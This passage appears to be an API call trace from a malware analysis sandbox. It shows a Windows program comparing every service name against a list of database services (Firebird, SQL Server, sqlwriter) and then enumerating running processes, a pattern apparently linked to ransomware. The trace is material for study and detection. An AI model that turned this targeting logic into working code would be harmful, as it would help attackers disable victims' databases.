lpString2="Dnscache") returned 1 [0208.375] lstrlenW (lpString="DPS") returned 3 [0208.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0208.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0208.375] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0208.375] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0208.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0208.375] lstrlenW (lpString="DusmSvc") returned 7 [0208.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0208.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0208.375] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0208.375] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0208.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0208.375] lstrlenW (lpString="EventLog") returned 8 [0208.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0208.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0208.375] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0208.375] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0208.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0208.375] lstrlenW (lpString="EventSystem") returned 11 [0208.375] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0208.375] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0208.375] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0208.375] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0208.375] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0208.375] lstrlenW (lpString="FontCache") returned 9 [0208.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0208.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0208.376] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0208.376] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0208.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0208.376] lstrlenW (lpString="gpsvc") returned 5 [0208.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0208.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0208.376] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0208.376] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0208.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0208.376] lstrlenW (lpString="iphlpsvc") returned 8 [0208.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0208.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0208.376] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0208.376] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0208.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0208.376] lstrlenW (lpString="KeyIso") returned 6 [0208.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0208.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0208.376] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0208.376] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0208.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0208.376] lstrlenW (lpString="LanmanServer") returned 12 [0208.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0208.376] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0208.376] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0208.376] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0208.376] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0208.376] lstrlenW (lpString="LanmanWorkstation") returned 17 [0208.376] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0208.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0208.377] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0208.377] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0208.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0208.377] lstrlenW (lpString="lfsvc") returned 5 [0208.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0208.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0208.377] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0208.377] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0208.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0208.377] lstrlenW (lpString="lmhosts") returned 7 [0208.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0208.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0208.377] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0208.377] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0208.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0208.377] lstrlenW (lpString="LSM") returned 3 [0208.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0208.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0208.377] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0208.377] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0208.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0208.377] lstrlenW (lpString="MpsSvc") returned 6 [0208.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0208.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0208.377] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0208.377] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0208.377] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0208.377] lstrlenW (lpString="NcbService") returned 10 [0208.377] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0208.377] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0208.377] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0208.378] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0208.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0208.378] lstrlenW (lpString="netprofm") returned 8 [0208.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0208.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0208.378] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0208.378] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0208.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0208.378] lstrlenW (lpString="NgcSvc") returned 6 [0208.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0208.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0208.378] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0208.378] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0208.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0208.378] lstrlenW (lpString="NlaSvc") returned 6 [0208.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0208.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0208.378] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0208.378] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0208.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0208.378] lstrlenW (lpString="nsi") returned 3 [0208.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0208.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0208.378] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0208.378] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0208.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0208.378] lstrlenW (lpString="PcaSvc") returned 6 [0208.378] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0208.378] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0208.378] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0208.378] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0208.378] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0208.378] lstrlenW (lpString="PlugPlay") returned 8 [0208.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0208.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0208.379] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0208.379] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0208.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0208.379] lstrlenW (lpString="Power") returned 5 [0208.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0208.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0208.379] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0208.379] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0208.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0208.379] lstrlenW (lpString="ProfSvc") returned 7 [0208.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0208.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0208.379] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0208.379] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0208.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0208.379] lstrlenW (lpString="RpcEptMapper") returned 12 [0208.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0208.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0208.379] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0208.379] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0208.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0208.379] lstrlenW (lpString="RpcSs") returned 5 [0208.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0208.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0208.379] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0208.379] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0208.379] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0208.379] lstrlenW (lpString="SamSs") returned 5 [0208.379] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0208.379] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0208.379] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0208.380] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0208.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0208.380] lstrlenW (lpString="Schedule") returned 8 [0208.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0208.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0208.380] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0208.380] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0208.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0208.380] lstrlenW (lpString="SecurityHealthService") returned 21 [0208.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0208.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0208.380] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0208.380] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0208.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0208.380] lstrlenW (lpString="SENS") returned 4 [0208.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0208.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0208.380] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0208.380] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0208.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0208.380] lstrlenW (lpString="ShellHWDetection") returned 16 [0208.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0208.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0208.380] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0208.380] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0208.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0208.380] lstrlenW (lpString="Spooler") returned 7 [0208.380] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0208.380] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0208.380] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0208.380] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0208.380] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0208.381] lstrlenW (lpString="StateRepository") returned 15 [0208.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0208.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0208.381] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0208.381] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0208.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0208.381] lstrlenW (lpString="SysMain") returned 7 [0208.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0208.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0208.381] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0208.381] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0208.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0208.381] lstrlenW (lpString="SystemEventsBroker") returned 18 [0208.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0208.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0208.381] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0208.381] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0208.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0208.381] lstrlenW (lpString="Themes") returned 6 [0208.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0208.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0208.381] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0208.381] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0208.381] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0208.381] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0208.381] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0208.381] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0208.381] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0208.381] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0208.382] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3f8 [0208.386] Process32FirstW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0208.386] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0208.387] lstrlenW (lpString="System") returned 6 [0208.387] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0208.387] lstrlenW (lpString="smss.exe") returned 8 [0208.387] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0208.388] lstrlenW (lpString="csrss.exe") returned 9 [0208.388] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0208.388] lstrlenW (lpString="wininit.exe") returned 11 [0208.388] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0208.389] lstrlenW (lpString="csrss.exe") returned 9 [0208.389] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0208.389] lstrlenW (lpString="winlogon.exe") returned 12 [0208.389] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0208.390] lstrlenW (lpString="services.exe") returned 12 [0208.390] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0208.390] lstrlenW (lpString="lsass.exe") returned 9 [0208.390] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0208.390] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0208.390] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0208.391] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0208.391] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.892] lstrlenW (lpString="svchost.exe") returned 11 [0208.893] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.893] lstrlenW (lpString="svchost.exe") returned 11 [0208.893] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0208.894] lstrlenW (lpString="dwm.exe") returned 7 [0208.894] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.894] lstrlenW (lpString="svchost.exe") returned 11 [0208.894] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.895] lstrlenW (lpString="svchost.exe") returned 11 [0208.895] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.895] lstrlenW (lpString="svchost.exe") returned 11 [0208.895] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.895] lstrlenW (lpString="svchost.exe") returned 11 [0208.895] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.896] lstrlenW (lpString="svchost.exe") returned 11 [0208.896] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.896] lstrlenW (lpString="svchost.exe") returned 11 [0208.896] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.897] lstrlenW (lpString="svchost.exe") returned 11 [0208.897] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.897] lstrlenW (lpString="svchost.exe") returned 11 [0208.897] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.898] lstrlenW (lpString="svchost.exe") returned 11 [0208.898] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.898] lstrlenW (lpString="svchost.exe") returned 11 [0208.898] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0208.899] lstrlenW (lpString="spoolsv.exe") returned 11 [0208.899] Process32NextW (in: hSnapshot=0x3f8, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0208.899] lstrlenW (lpString="svchost.exe") returned 11 